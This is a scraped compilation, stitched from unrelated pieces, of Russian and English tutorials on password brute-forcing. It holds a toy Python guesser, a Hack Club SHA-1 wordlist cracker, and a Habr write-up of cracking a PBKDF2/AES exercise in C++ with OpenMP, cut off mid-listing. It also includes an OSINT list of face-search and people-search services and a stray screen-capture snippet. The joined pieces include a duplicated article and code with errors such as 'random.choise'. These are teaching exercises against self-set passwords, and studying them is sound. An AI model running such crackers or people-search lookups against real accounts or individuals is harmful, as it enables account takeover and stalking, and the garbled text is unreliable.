Кодинг
49,276
Сегодня понадобилось написать простой код для перебора случайно сгенерированных четырехзначных паролей, для «взлома». Естественно, пароль, который мы будем «взламывать», мы введем сами, в этой же программе, ведь я не хочу создавать скрипт для брута, а лишь хочу продемонстрировать новичкам в программировании, как должен работать подобный скрипт.
Еще по теме: Взлом WiFi на Python
Для начала надо выбрать язык. Я решил выбрать Python, так как он приятней глазу, и на нем будет проще объяснить, как работает процесс перебора паролей.
Итак, начнем. Какие модули нам необходимы? Только один — random! Импортируем его.
Далее, надо определиться с переменными. Нам нужны 6.
correctPassword = «1234» # Вводим пароль, который нужно забрутить wrongPasswords = [] # В этот список будут добавляться уже подобранные пароли, чтобы не повторяться password = «» # В эту переменную будет записываться сгенерированный пароль, и, если он ложный, пойдет в wrongPassword length = 4 # Длина пароля. Эта переменная нужна будет в будущем chars = «1234567890» # Символы, из которых будет генерироваться пароль. run = True # Думаю, не стоит объяснять |
Вот и все необходимые переменные.
Теперь необходимо создать цикл. В нем все и будет выполняться. Также добавим в него строчку для обнуления переменной password
Переходим к самому интересному — генерации и перебору паролей.
Сначала создадим цикл for, для генерации пароля. Тут нам и пригодится переменная length.
for i in range(length): password += random.choise(chars) |
Теперь напишем код, который будет проверять, генерировала уже программа этот пароль, или нет. Ну и проверять, идентичен ли он правильному.
if password not in wrongPasswords: print(password) if password != correctPassword: wrongPasswords.append(password) else: run = False break print(password + » is correct») |
Вот и все! Все работает!
Надеюсь, кому-то данная статья помогла, кому-то просто была интересна.
Весь код полностью:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
import random correctPassword = «1234» wrongPasswords = [] password = «» length = 4 chars = «12e4567890» run = True while run: password = «» for i in range(length): password += random.choise(chars) if password not in wrongPasswords: if password != correctPassword: print(password) wrongPasswords.append(password) else: run = False break print(password + » is correct») |
Еще по теме: Простой кейлоггер на Python
ВКонтакте
OK
Telegram
Viber
This workshop is about making a password cracker. We will be creating a password cracker which will be using the Brute Force technique to crack the password of your choice! So, let’s get started.
Disclaimer
The sole purpose of this workshop is to help you discover various ways via which you can be attacked ( in a cyber attack ) by someone. This is solely for educational purposes and using the knowledge provided here for ulterior motives is a cybercrime. The workshop is made so that you can be more aware of how these attacks are done and can protect yourself from them.
Hack Club doesn’t promote any kind of misuse of the knowledge being provided here and won’t be responsible for your participation in any sort of unlawful activities. So using the workshop for educational purposes only is strictly advised.
Prerequisites
The workshop is for anyone familiar with Python!
You don’t need to be a Guru in Python, a basic understanding of it is more than enough!
Souce Code
The final source code for the workshop is available here. This is on repl.it, you can use repl.it too for making this workshop!
You can use the final source code to cross-check your source code!
Introduction
The questions that would be arising in your mind would be that will this thing be a universal solution to cracking passwords? How the heck would it even be working?
Okay, so before I answer thess questions, I want to introduce you to some concepts. After going through these concepts you yourself would be able to answer all your questions.
What is the Brute Force technique?
Brute Force technique is a technique in which we check all the possible solutions for a problem against the actual solution.
In short, think that we have a list of passwords that we think can be someone’s password, then we try all of these passwords until unless we find the right one. Bizzare right? I know it sounds really inefficient but this solution is being used already with some efficiency improvements to it ( check Appendix ) also thanks to Moore’s Law that with increasing computing power the solution is becoming more and more efficient.
So, to conclude we will loop through a list of guess passwords ( but some other steps are also involved ) till any guess password matches the one we are looking for! In the later section of the workshop, I will share methods to make this guessing yield more accurate results.
What is a Wordlist?
A Wordlist is basically a collection of passwords that we are going to use in a Brute Force attack!
What is the source of these Wordlists?
If you follow the news then you know that database of big and small companies is being compromised. People are hacking in to get the passwords of the actual users on these platforms so that they could have a huge database of passwords that they can use for the Brute Force Attack. These wordlists of leaked databases are available over the internet and are being used for Brute Forcing.
Now in this workshop, we are using a wordlist to get a general idea about how this attack works and I strongly recommend going back to the Disclaimer Section if you have skipped it for some reason!
So, what can I expect from the password cracker ( of this workshop ) ?
Okay, so we will be using a really simple Wordlist so that you can crack very weak passwords. The passwords that people keep in a hurry like “Dinosaur, Cat, Dog, etc” are something that we will be able to crack.
We are on purpose using a Wordlist which is very small so that the purpose of the workshop ( which is teaching you how to be secure on the web ) can be accomplished.
Now, in reality, Brute Force can be made to yield more accurate result by social engineering the victim ( check Appendix ).
But I want to be a Hacking God :_:
I know everyone wants to be a cool hacker who can hack almost anything, I know you want to be the real-life Mr. ROBOT! But you have to start from the base to know how the tools that you use work under the hood and the prototype that we are going to make is more than enough to give you a basic idea about how password cracking tools work.
If you have learned making websites then remember we started by making simple HTML forms and slowly made our way through. You don’t become Mark Zuckerberg in a day!
Now, I hope the above info will be more than enough to answer all your questions about the password cracker that we are going to make.
What is hashing?
The developers usually run a Hash function on your password to transform them into another form which is known as the Hash of the password.
These Hash functions take your password as an input and transform them into a hash. Now if the hash of two inputs by Hash functions ( hash functions like SHA-1 ) are the same then it implies that the two inputs are the same. So this is how they verify whether the password you entered is right or wrong!
Examples of hash functions are SHA-1 and bcrypt. Now SHA-1 shouldn’t be used for storing passwords as it is really fast and hence really easy to Bruteforce.
bcrypt is slow and adds salt to your password while Hashing it ( there are also some other technical details to it, you can visit Wikipedia for that ). Salt is an additional input added by the function so that unlike SHA-1 the same password will not create the same Hash. These qualities make bycrypt a better option than SHA-1 as it is harder to Brute Force.
If you want to verify credentials ( when using bcrypt hash function ) then you will have a compare function which will take the actual hash of the password and the password that the user has entered and then will yield a boolean result telling whether they are the same or not!
The Scenario!
I believe giving people real-life scenarios while doing Hacking workshops make them perform better! So, here is your scenario:
-
Assume you have landed a penetration testing contract and the web app has a vulnerability. You get access to its whole database and you have cloned it.
-
Now, you discover that the developer that they had was really not aware of how to store the passwords and they have used SHA-1 to hash the passwords!
-
Now, you are really smart and you know you can Bruteforce the database via a wordlist that you have! Now the Hack begins!
Create cracker.py
Now, create a file cracker.py in any folder of your choice on your computer. Now, Open it inside your favorite code editor.
Imports:
The first step is to make our Python imports, so type the following inside your cracker.py file:
import hashlib
from urllib.request import urlopen
Here the following has happened:
- We imported hashlib, it will help us to create SHA-1 hashes.
- We imported urlopen from urllib.request, this method will help us to open and read our wordlist file via an URL!
Functions
Now, we are going to create individual functions for tasks like hashing, reading wordlist file and then finally for Brute Forcing!
Append the following code to your cracker.py file ( new code is separated by a ###### append the below code ###### comment )
import hashlib
from urllib.request import urlopen
############# append the below code ################
def readwordlist(url):
try:
wordlistfile = urlopen(url).read()
except Exception as e:
print("Hey there was some error while reading the wordlist, error:", e)
exit()
return wordlistfile
def hash(password):
result = hashlib.sha1(password.encode())
return result.hexdigest()
def bruteforce(guesspasswordlist, actual_password_hash):
for guess_password in guesspasswordlist:
if hash(guess_password) == actual_password_hash:
print("Hey! your password is:", guess_password,
"n please change this, it was really easy to guess it (:")
# If the password is found then it will terminate the script here
exit()
Here the following is happening:
-
We created readwordlist(url) function which takes an URL as a parameter and will then return us file content. If any exception is raised during this process then the program will exit() the script.
-
The hash function will take the password as a parameter and then will return us hash of the password as a string of double length, containing only hexadecimal digits. The hashlib.sha1 function expects the argument to be of type <class ‘bytes’> which is why we are passing password.encode() as its argument.
-
- The bruteforce function will take the wordlist as a List and the hash of the actual password that you want to find, and then it will loop through the wordlist for each item and will hash it and then will compare the hash with the actual password’s hash.
- If it finds a hash equal to the actual password’s hash then it will return the equivalent passwords in the wordlist. Which will be the password we were guessing!
Completing the Script
Now, we will use these functions to write our final script.
Append the following code to your cracker.py file ( new code is separated by a ###### append the below code ###### comment )
import hashlib
from urllib.request import urlopen
def readwordlist(url):
try:
wordlistfile = urlopen(url).read()
except Exception as e:
print("Hey there was some error while reading the wordlist, error:", e)
exit()
return wordlistfile
def hash(wordlistpassword):
result = hashlib.sha1(wordlistpassword.encode())
return result.hexdigest()
def bruteforce(guesspasswordlist, actual_password_hash):
for guess_password in guesspasswordlist:
if hash(guess_password) == actual_password_hash:
print("Hey! your password is:", guess_password,
"n please change this, it was really easy to guess it (:")
# If the password is found then it will terminate the script here
exit()
############# append the below code ################
url = 'https://raw.githubusercontent.com/berzerk0/Probable-Wordlists/master/Real-Passwords/Top12Thousand-probable-v2.txt'
actual_password = 'henry'
actual_password_hash = hash(actual_password)
wordlist = readwordlist(url).decode('UTF-8')
guesspasswordlist = wordlist.split('n')
# Running the Brute Force attack
bruteforce(guesspasswordlist, actual_password_hash)
# It would be executed if your password was not there in the wordlist
print("Hey! I couldn't guess this password, it was not in my wordlist, this is good news! you win (: ")
Here the following is happening:
-
We created a variable url that will store the URL of the wordlist that we are going to use. The actual_password variable is being used to store the password, we will try to guess this password from its hash. Actual_password_hash variable stores the hash of the actual_password.
-
wordlist variable stores the wordlist as a UTF-8 string, each password in the wordlist is separated by a «n» character. So we split this wordlist into a List and store it in guesspasswordlist variable.
-
Then we bruteforce the guesspasswordlist variable and if our wordlist contains a password which has same hash as of the actual password’s hash, then we have cracked the password and the bruteforce function will print the cracked password.
-
Else if we don’t have such a password in our wordlist then we print «Hey! I couldn’t guess this password, it was not in my wordlist, this is good news! you win (: «. This means we couldn’t guess the provided password.
Done!
Congratulations! You have successfully completed the journey of making this password cracker. I am checking the cracker to crack for hash of “henry” as a password but you can make it whatever you want.
Now, this password cracker will be able to crack almost all dumb passwords that you can think of. These are passwords that people who are in a hurry to create an account or who don’t take security seriously keep ( I am definitely sure you know such people ).
Running the script!
To run the Script simply double-click on it ( cracker.py file ). You can also run it from a terminal if you want. Try checking this script out with different passwords!
Next Steps!
I know it feels awesome to make it but don’t stop here, Create whatever you can from this crazy trick and share it with us in the #ship
channel of Hack Club’s Slack.
I am available on Hack Club’s Slack by the username Harsh Bajpai, If you have any doubt or query regarding this workshop then feel free to reach out to me!
Appendix
The workshop is done and the below information is going to supplement what you have previously learned. This section isn’t necessary for completing the workshop.
Social Engineering is the practice of making people perform some actions and then get their personal data out from them ( their name, birthday, pet’s name, favorite place, etc ).
People generally use a combination of their personal data ( the ones discussed above ) to create their passwords, as it makes it easier to remember. Getting these data of the victim can help a person to Brute Force in a very targeted way where they will try different combinations of these data to get the victim’s password ( there are tools which help you do that ).
Rainbow Table Attack
In this attack, we use a Rainbow Table.
A rainbow table is a precomputed dictionary of plaintext passwords and their corresponding hash values that can be used to find out what plaintext password produces a particular hash ( this is an abstract definition, in order to know the technicalities visit here).
This saves us a lot of time as we are using a precomputed dictionary and not computing the hash during the run-time of the script!
Don’t be a script kiddo
The reason I believe making prototypes of these tools are important because they help you to understand how your tool works ( at least gives you a rough idea ). I know a lot of you might be thinking why not directly start with tools like John the Ripper? Sure, you can and it will be better too!
But the thing is that you must also push yourself towards making some small tools of yours so the tools that you don’t appear as magic to you. Making such small prototypes also increases your technical knowledge!
Перебор пароля на Python
Сегодня понадобилось написать простой код для перебора случайно
сгенерированных четырехзначных паролей, для «взлома». Естественно,
пароль, который мы будем «взламывать», мы введем сами, в этой же
программе, ведь я не хочу создавать скрипт для брута, а лишь хочу
продемонстрировать новичкам в программировании, как должен работать
подобный скрипт.
Для начала надо выбрать язык. Я решил выбрать
Python, так как он приятней глазу, и на нем будет проще объяснить, как
работает процесс перебора паролей.
Итак, начнем. Какие модули нам необходимы? Только один — random! Импортируем его.
import random
Далее, надо определиться с переменными. Нам нужны 6.
correctPassword = «1234» # Вводим пароль, который нужно забрутить
wrongPasswords = [] # В этот список будут добавляться уже подобранные пароли, чтобы не повторяться
password = «» # В эту переменную будет записываться сгенерированный пароль, и, если он ложный, пойдет в wrongPassword
length = 4 # Длина пароля. Эта переменная нужна будет в будущем
chars = «1234567890» # Символы, из которых будет генерироваться пароль.
run = True # Думаю, не стоит объяснять
Вот и все необходимые переменные.
Теперь необходимо создать цикл. В нем все и будет выполняться. Также добавим в него строчку для обнуления переменной password
while run:
password = «»
Переходим к самому интересному — генерации и перебору паролей.
Сначала создадим цикл for, для генерации пароля. Тут нам и пригодится переменная length.
for i in range(length):
password += random.choise(chars)
Теперь напишем код, который будет проверять, генерировала уже программа
этот пароль, или нет. Ну и проверять, идентичен ли он правильному.
if password not in wrongPasswords:
print(password)
if password != correctPassword:
wrongPasswords.append(password)
else:
run = False
break
print(password + » is correct»)
Вот и все! Все работает!
Надеюсь, кому-то данная статья помогла, кому-то просто была интересна.
Весь код полностью:
import random
correctPassword = «1234»
wrongPasswords = []
password = «»
length = 4
chars = «12e4567890»
run = True
while run:
password = «»
for i in range(length):
password += random.choise(chars)
if password not in wrongPasswords:
if password != correctPassword:
print(password)
wrongPasswords.append(password)
else:
run = False
break
print(password + » is correct»)
Популярное
Думаю что эта подборка будет полезна и вам, список ресурсов не всеобъемлющий по этому всем кому есть что добавить, добро пожаловать в коментарии. Поиск По Фотографиям Поиск по лицу: FindTwin face search demo + @VkUrlBot Face search • PimEyes Betaface free online demo — Face recognition, Face search, Face analysis VK.watch – история профилей ВКонтакте Поиск первоисточника картинки и всех доменов где она хоститься: TinEye Reverse Image Search Reverse image search for images and video — Berify.com Search by image | Reverse Image Search on Google 2019 Reverse Image Search — Search By Image Reverse Image Search — Find Similar Photos Online Karma Decay — Reverse image search of Reddit.com Поиск фото по геометкам в социальных сетях: Поиск фото по геометкам в соц. сетях Поисковик фотографий с привязкой к геолокации Другое: Поиск по фото мошенников и фейков Поисковые Cистемы Людей Мир: Free People Search | PeekYou https://pipl.com/
Если пoисковик DuckDuckGo кому-то и известен, то в первую очередь в связи с повышенной приватностью. В отличие от Google или «Яндекса» он не собирает данные о пользователях, но и результаты у него не такие же хорошие. Однако стоит копнуть глубже, и оказывается, что это мощнейший инструмент, способный значительно облегчить и ускорить извлечение информации из Сети. Начнем с того, что на самом деле DDG — не совсем поисковик. Вернее даже, совсем не поисковик, а этакий агpегатор ответов с разных поисковиков. В своей работе он использует поисковую выдачу Yahoo, Bing, Yummly, «Яндекса», «Википедии» и сотен других «надежных» источников. Такая особенность делает DDG очень точным, если источники содержат информацию именно по этому запросу. Он легко выдает исчерпывающие ответы на запросы типа «linux df», «долгая счастливая жизнь», «Java InterruptedException» или даже «is it raining». Но как только ты введешь что-то более сложное, что-то, чего не окажется в источниках DDG,
import numpy as np import cv2 from mss.linux import MSS as mss from PIL import Image import time import pyautogui as pg import imutils import mss import numpy import pyautogui template = cv2.imread(«2019-07-02_06-55_1.png», cv2.IMREAD_GRAYSCALE) w, h = template.shape[::-1] color_yellow = (0,255,255) mon = {‘top’: 80, ‘left’: 350, ‘width’: 100, ‘height’: 100} def process_image(original_image): processed_image = cv2.cvtColor(original_image, cv2.COLOR_BGR2GRAY) processed_image = cv2.Canny(processed_image, threshold1=200, threshold2=300) return processed_image def ss(): op = 1 with mss.mss() as sct: monitor = {«top»: 40, «left»: 0, «width»: 800, «height»: 640} while «Screen capturing»: last_time = time.time() img = numpy.array(sct.grab(monitor)) gray_frame = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) res = cv2.matchTem
Сказ о тотальном переборе, или Томительное ожидание декрипта
Время на прочтение
13 мин
Количество просмотров 13K
Приветствую жителей Хабра!
Итак, новые «криптографические игрища» пришли по мою душу. Поэтому сегодня поговорим о занудном упражнении, ориентированном на полный перебор паролей, реализации тривиального многопоточного брутера силами C++ и OpenMP, а также кратко об использовании криптобиблиотеки CryptoPP и стороннего модуля fastpbkdf2 (для Си и Плюсов) в своих проектах.
Го под кат, печеньки out there!
ДИСКЛЕЙМЕР. Перебирать чужие пароли нельзя, читать тексты, адресованные не вам, нельзя, создавать и распространять вредоносное ПО с целью неправомерного доступа к компьютерной информации нельзя. Наказуемо согласно УК РФ. Dixi.
Разбор условия
Вещественная обёртка задачи представляет из себя небольшую карточку со следующим текстом:
SGFzaGVkU2FsdCg4Ynl0ZXNJblVURjE2TEUpQ291bnRlckNpcGhlcnRleHRB
RVMyNTZFQ0J8MWE0MDhhYTVhZjkzMDkxOGRkYjkyNzQ3NDBhMDJjMmJkM2Vl
N2NkNjU3MDQwMDAwMDQxN2E2Nzc4Yzc3YzYwZjcxMGJlNTNiNmViODQ0ZDg0
MmUwZWEwZGYwNDA2NTU4NWEzMzIzYTUwZjc2OGY1N3xQb3NzaWJsZVBhc3N3
b3JkUGF0dGVybnN8RERMTExMTEx8RExMTExMTER8TExMRERMTEx8TExMTExM
REQ=
Зачем в Base64? Преподавателем на это было отвечено: «Чтобы варианты условий не повадно выбирать было». Не очень-то и хотелось. Также на словах была передана информация об используемом алгоритме преобразования пароля в ключ (PBKDF2_HMAC_SHA1) и сформулированы простые условия игры: «Подобрать пароль для восстановления сообщения, зашифрованного блочным шифром. Пароль не словарный, может состоять из цифр и маленьких букв латинского алфавита, соль — только из маленьких букв». Давайте посмотрим, что скрывает кодировка:
HashedSalt(8bytesInUTF16LE)CounterCiphertextAES256ECB|1a408a
a5af930918ddb9274740a02c2bd3ee7cd6570400000417a6778c77c60f71
0be53b6eb844d842e0ea0df04065585a3323a50f768f57|PossiblePassw
ordPatterns|DDLLLLLL|DLLLLLLD|LLLDDLLL|LLLLLLDD
Что мы видим? Первая часть сообщения (до первого вертикального слэша), вероятно, представляет из себя порядок следования данных, непосредственно указанных во второй части: хеш-значение соли (с информацией о кодировке в скобках), счетчик итераций для PBKDF2, используемый блочный шифр и режим шифрования. AES добрался до меня и здесь, кто бы мог подумать… Третья часть и до конца — потенциальные маски нужного пароля, где L — буква (letter), D — цифра (digit). Также определено, что пароль состоит из 8-ми символов. Вроде звучит логично, теперь было бы неплохо структурировать полученную информацию.
Проанализируем второй блок сообщения. В задании нет информации об используемой функции хеширования соли, поэтому сделаем предположение, что это SHA1, т. к. это единственная широко используемая криптографическая хеш-функция с длиной выхода 20 байт (только этот размер идеально ложится под остальное разбиение). Также, очевидно, что счетчик представлен в little endian, по крайней мере очень хочется так думать, ибо 0x57040000 = 1459879936 итераций PBKDF2 — не самая лучшая перспектива для перебора… И, наконец, остается два блока AES по 16 байт каждый. Следовательно, имеем такую картину:
1A408AA5AF930918DDB9274740A02C2BD3EE7CD6
— хеш соли (20 байт);
0x00000457 = 1111
— счетчик итераций PBKDF2;
0417a6778c77c60f710be53b6eb844d8
— первый блок шифртекста (16 байт);
42e0ea0df04065585a3323a50f768f57
— второй блок шифртекста (16 байт).
Восстановление соли
Окей, для начала напишем
быдло
быстро-скрипт для восстановления соли. Благо, 4 символа (aka 8 байт в UTF-16) переберутся за секунды, поэтому воспользуемся пайтоном, не мудрствуя лукаво:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Usage: python3 crack_salt_hash.py
from hashlib import sha1
from itertools import product
ALPH = 'abcdefghijklmnopqrstuvwxyz'
SIZE = 4
TOTAL = len(ALPH)**SIZE
def crack_hash(func, output, enc):
progress = 0
for salt in product( *([ALPH]*SIZE) ):
if func(''.join(salt).encode(encoding=enc)).hexdigest() == output:
print(progress+1, 'of', TOTAL)
return ''.join(salt)
progress += 1
if progress % 10000 == 0:
print(progress, 'of', TOTAL)
return None
if __name__ == '__main__':
print(crack_hash(sha1, '1a408aa5af930918ddb9274740a02c2bd3ee7cd6', 'UTF-16LE'))
По прошествии 3-х секунд, имеем результат: «dukg«. С учетом 2-байтовой кодировки конечная форма соли (пригодная для ввода в PBKDF2) будет иметь вид «dx00ux00kx00gx00«.
Криптографические нужды
Теперь предстоит выбрать инструменты для работы с криптографией. По порядку: сперва подумаем о получении ключа из пароля, затем о расшифровании сообщения. Для решения обоих вопросов сразу на ум приходят два возможных варианта: OpenSSL либо Crypto++ (он же CryptoPP). Оба пакета широко известны и с ними нетрудно работать на C++ (выбор языка пришел сам собой исходя необходимости высокой скорость перебора).
Генерация ключей
Забегая немного вперед, стоит сказать, что стандартная функция PKCS5_PBKDF2_HMAC_SHA1 из OpenSSL при заданном счетчике в 1111 итераций показала среднюю скорость в 1000 ключей/с при параллельной работе на 4-ядерном Intel Core i5 2.60GHz. Не самый лучший результат, посему было решено поискать альтернативное «прокаченное» решения для генерации ключей. Таким решением стала библиотека fastpbkdf2 от стороннего разработчика. Библиотека основана на том же OpenSSL (реализации самих хеш-функций оттуда), однако, согласно описанию, использует «различные оптимизации во внутреннем цикле for» при высчитывании PBKDF2. Такое объяснение меня вполне устраивает, к тому же производительность возросла примерно в 3,45 раза: теперь перебор идет со скоростью в 3450 паролей/с.
Модуль написан на Си и требует компилятор, поддерживающий C99, поэтому для встраивания его (модуля) в проект на Плюсах, скомпилируем из исходников и создадим динамическую библиотеку как:
$ gcc fastpbkdf2.c -fPIC -std=c99 -O3 -c -g -Wall -Werror -o fastpbkdf2.o
$ gcc -shared -lcrypto -o libfastpbkdf2.so fastpbkdf2.o
И теперь для запуска конечного брутера (который мы пока не написали, но уже придумали для него оригинальное название — «bruter.cxx«), нужно будет скормить ему сию библиотеку, написав:
$ g++ bruter.cxx -o bruter -L"/path/to/libfastpbkdf2.so" -Wl,-rpath="/path/to/libfastpbkdf2.so" -lfastpbkdf2
В конце добавим Makefile для автоматизации. Прикинем теперь, как будет происходить проверка валидности пароля:
bool checkPassword(
uint8_t* password,
const uint8_t* ciphertext,
uint8_t* decrypted,
int& decryptedLength
) {
uint8_t key[KEY_LENGTH];
fastpbkdf2_hmac_sha1(
password,
PASSWORD_LENGTH,
salt,
SALT_LENGTH,
iterations,
key,
KEY_LENGTH
);
decryptedLength = CryptoPP_Decrypt_AES_256_ECB(
ciphertext,
(uint8_t*) key,
decrypted
);
if (isPrintable(decrypted, decryptedLength))
return true;
return false;
}
где CryptoPP_Decrypt_AES_256_ECB
— не написанная еще функция расшифрования. Возвращаемое значение — истина/ложь, в зависимости от исхода проверки критерия. Критерий же верного декрипта — печатаемость всех символов открытого текста, оценка критерия лежит на функции isPrintable
(см. полный листинг в Заключении).
Расшифрование сообщения
Для расшифрования сообщения обратимся за помощью к библиотеки Crypto++.
Следуя порядку работы с блочными шифрами в рамках данного пакета, выполним следующие действия: создадим функциональный объект для расшифрования AES в режиме ECB (decryptor), инициализируем его ключом (размер ключа определяет версию AES — в нашем случае AES-256), назначим выходной буфер и выполним операцию преобразования шифртекста в открытый текст по алгоритму, который содержит decryptor. Также мы предполагаем, что добивание блока (PADDING) не использовалось вовсе, ибо условие умалчивает о формате добивания. Следовательно, длина исходного сообщение должна быть кратной длине одного блока AES.
int CryptoPP_Decrypt_AES_256_ECB(
const uint8_t* ciphertext,
uint8_t* key,
uint8_t* plaintext
) {
ECB_Mode<AES>::Decryption decryptor;
decryptor.SetKey(key, AES::MAX_KEYLENGTH);
ArraySink ps(&plaintext[0], PLAINTEXT_LENGTH);
ArraySource(
ciphertext,
CIPHERTEXT_LENGTH,
true,
new StreamTransformationFilter(
decryptor,
new Redirector(ps),
StreamTransformationFilter::NO_PADDING
)
);
return ps.TotalPutLength();
}
Возвращать функция будет длину дешифрованного сообщения.
Новая информация
Пока в течении дня возился с подготовительными работами, описанными выше, на почту прилетело письмо от автора, в котором сообщалось, что «всплыла новая информация, касательно структуры пароля». В общих словах сообщалось, что при создании парольной фразы пользователь по ошибке зажал Shift во время ввода единицы и буквы «q«. Перефразируя сообщение, получим символ «!» (на месте цифры) и букву «Q» (на месте буквы), как гарантированные составляющие пароля. Для пользователя новость не самая лучшая, но для нас просто замечательная: это подразумевает существенное сужение области перебора. Численную оценку преимущества, которое так удачно было получено, проведем чуть позже, когда будем оценивать время, необходимое на полный перебор.
Параллельный брутер
Дело за малым: остается написать управляющую функцию и ввести элемент многопоточности. Для распараллеливания вычислений будем использовать прагмы OpenMP. Общее количество паролей для перебора — известная величина. Для примера рассмотрим одну из четырех моделей паролей (с учетом того, что одна из цифр — на самом деле «!», а одна из букв — «Q»):
Первые две скобки — количество размещений с повторениями из 26 по 5 и из 10 по 1 соответственно (5 букв и 1 цифра), множители в третьих скобках — перестановка «!» (может стоять на двух позициях) и перестановка «Q» (может стоять на шести позициях). Полную область перебора определим, домножив результат на 4, получая или 5,7 млрд.
Так как границы области определены, для выработки паролей воспользуемся вложенными циклами for и прагмой omp parallel for с параметром collapse() для «схлопывания» множественных петель в одну большую. Нужно помнить, что для того, чтобы пользоваться collapse(), необходимо поддерживать «идеальную вложенность» циклов. Это означает, что каждый следующий цикл (кроме последнего, разумеется) содержит в себе только очередную инструкцию for, а все операции выполняются в последнем по вложенности цикле.
Также, перед тем, как приступать к написанию кода, обратим внимание на интересную особенность: каждая следующая модель пароля является циклическим сдвигом на 1 или 3 позиции другой модели. Приняв это к сведению, мы сможем проще организовать перебор паролей из каждой модели за одну итерацию цикла:
void Parallel_TotalBruteForce(
uint8_t* goodPassword,
uint8_t* goodDecrypted,
int& goodDecryptedLength
) {
uint8_t alp[27] = {
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',
'q', 'r', 's', 't', 'u', 'v', 'w', 'x',
'y', 'z', ''
};
uint8_t num[11] = {
'0', '1', '2', '3', '4', '5', '6', '7',
'8', '9', ''
};
#ifdef WITH_OPENMP
omp_set_num_threads(myOMP_THREADS);
#endif
uint64_t progress = 0;
bool notFinished = true;
#pragma omp parallel for shared(progress, notFinished) collapse(8)
for (int a = 0; a < 2; a++)
for (int b = 2; b < 8; b++)
for (int c = 0; c < 26; c++)
for (int d = 0; d < 26; d++)
for (int e = 0; e < 26; e++)
for (int f = 0; f < 26; f++)
for (int g = 0; g < 26; g++)
for (int h = 0; h < 10; h++) {
if (notFinished) {
uint8_t password[9]; password[PASSWORD_LENGTH] = '';
uint8_t indeces[6] = { 2,3,4,5,6,7 };
memmove(indeces+b, indeces+b+1, 5-b);
uint8_t decrypted[100]; int decryptedLength;
password[ a] = '!'; // 0-1
password[ !a] = num[h]; // 0-1
password[ b] = 'Q'; // 2-7
password[indeces[0]] = alp[c]; // 2-7
password[indeces[1]] = alp[d]; // 2-7
password[indeces[2]] = alp[e]; // 2-7
password[indeces[3]] = alp[f]; // 2-7
password[indeces[4]] = alp[g]; // 2-7
if (
// DDLLLLLL
checkPassword(
password,
ciphertext,
decrypted,
decryptedLength
) ||
// DLLLLLLD
checkPassword(
rotateLeft(password, 1),
ciphertext,
decrypted,
decryptedLength
) ||
// LLLLLLDD
checkPassword(
rotateLeft(password, 1),
ciphertext,
decrypted,
decryptedLength
) ||
// LLLDDLLL
checkPassword(
rotateLeft(password, 3),
ciphertext,
decrypted,
decryptedLength
)
) {
#pragma omp critical
{
memcpy(
goodPassword,
password,
9
);
memcpy(
goodDecrypted,
decrypted,
decryptedLength
);
goodDecryptedLength = decryptedLength;
notFinished = false;
}
}
if (progress % PROGRESS_SEP == 0)
cout << progress << " of " << TOTAL << endl;
progress += STEP;
}
}
}
Флаг notFinished
используется для выхода из for. Такой подход более свойственен для работы с pthread напрямую, в OpenMP для этого есть #pragma omp cancel
, однако меня компилятор засыпал предупреждениями, природа которых мне не до конца ясна, поэтому было решено использовать флаг.
Теперь посмотрим на производительность полученной системы и оценим время, необходимое на полный перебор.
Оценка производительности и поиск бо́льших мощностей
Как уже говорилось выше, при параллельной работе на 4-ядерном Intel Core i5 2.60GHz была достигнута скорость, примерно равная 3450 паролей/с. Всего 5,7 млрд. паролей, отсюда нехитрые вычисления дают оценку в 19 дней работы машины при условии, что нужный нам пароль окажется последним из всего множества. Не лучшая перспектива.
Самое время для маленького читерства. Воспользуемся небезызвестным сервисом облачных вычислений Amazon EC2. Выберем инстанс для вычислений с ЦПУ-преимуществом (характеристики приведены на скриншоте ниже) и посмотрим производительность.
Подняв количество потоков с 4 до 36 (+ более шустрые серверные процы), получили прирост в скорости аж в 10 раз даже несмотря на замедление работы сервиса из-за недавнего наката анти-Meltdown патчей. Подняв два инстанса таких виртуалок по спотовой цене в $0,37/ч получим возможность перебрать все множество за 24 часа, выложив при этом $17,76 (или около 1 тыс. руб. по текущему состоянию курса). Недешевое удовольствие для учебной задачки, но спортивный интерес все же победил, поэтому готов поделиться результатами.
Но прежде посмотрим ради интереса, сколько бы времени потребовалось, если бы «неожиданно не всплыла» дополнительная информация об ошибках пользователя при вводе. В этом случае мощность общего множества паролей записывалась бы как:
Следовательно, для полного перебора на скорости 3450 п/с ушло бы больше года при использовании ЭВМ на процессоре, указанном в начале раздела, в многопоточном режиме и больше четырёх лет при работе в один поток [из цикла «Ужасы нашего Городка»].
Результаты
Восстановленный пароль: «ldQ9!nwd
«.
Открытый текст: 2E2B2A602A2B2C20594F552044495341524D4544204D4521202C2B2A602A2B2E
.
Сообщение: «.+*`*+, YOU DISARMED ME! ,+*`*+.».
Декрипт был получен чуть больше чем за 1/2 суток. При используемом подходе со сдвигами одной модели пароля относительно других получилась такая картина: успешной оказалась та итерация, когда первой сгенерировалась комбинация «9!nwdldQ» (из модели ), и после трех циклических сдвигов влево на проверку ушел нужный пароль.
Заключение, исходные коды
Новый год ознаменовался достаточно необычным для меня опытом, благодарность автору за сбалансированную игру
Полный код брутера под спойлером:
bruter.cxx
/**
* @file bruter.cxx
* @author Sam Freeside <snovvcrash@protonmail[.]ch>
* @date 2018-01
*
* @brief Brute forcing 4 password patterns: "DDLLLLLL", "DLLLLLLD", "LLLLLLDD", "LLLDDLLL"
*/
/**
* LEGAL DISCLAIMER
*
* bruter.cxx was written for use in educational purposes only.
* Using this tool without prior mutual consistency can be considered
* as an illegal activity. It is the final user's responsibility
* to obey all applicable local, state and federal laws.
*
* The author assume no liability and is not responsible for any misuse or
* damage caused by this tool.
*/
#include <iostream>
#include <algorithm>
#include <cstring>
#include <cstdlib>
#include <ctime>
#include <ctype.h>
#include <omp.h>
#include "cryptopp/filters.h"
#include "cryptopp/files.h"
#include "cryptopp/modes.h"
#include "cryptopp/hex.h"
#include "cryptopp/aes.h"
#include "lib/fastpbkdf2.h"
#define myOMP_THREADS 4 // == CPU(s) = [Thread(s) per core] * [Core(s) per socket] * [Socket(s)]
#define myOMP_SCHEDULE_CHUNKS 4
#define TOTAL 5703060480 // == 26*26*26*26*26*10 * 2*6 * 4
#define STEP 4
#define PROGRESS_SEP 1000000
using namespace std;
using namespace CryptoPP;
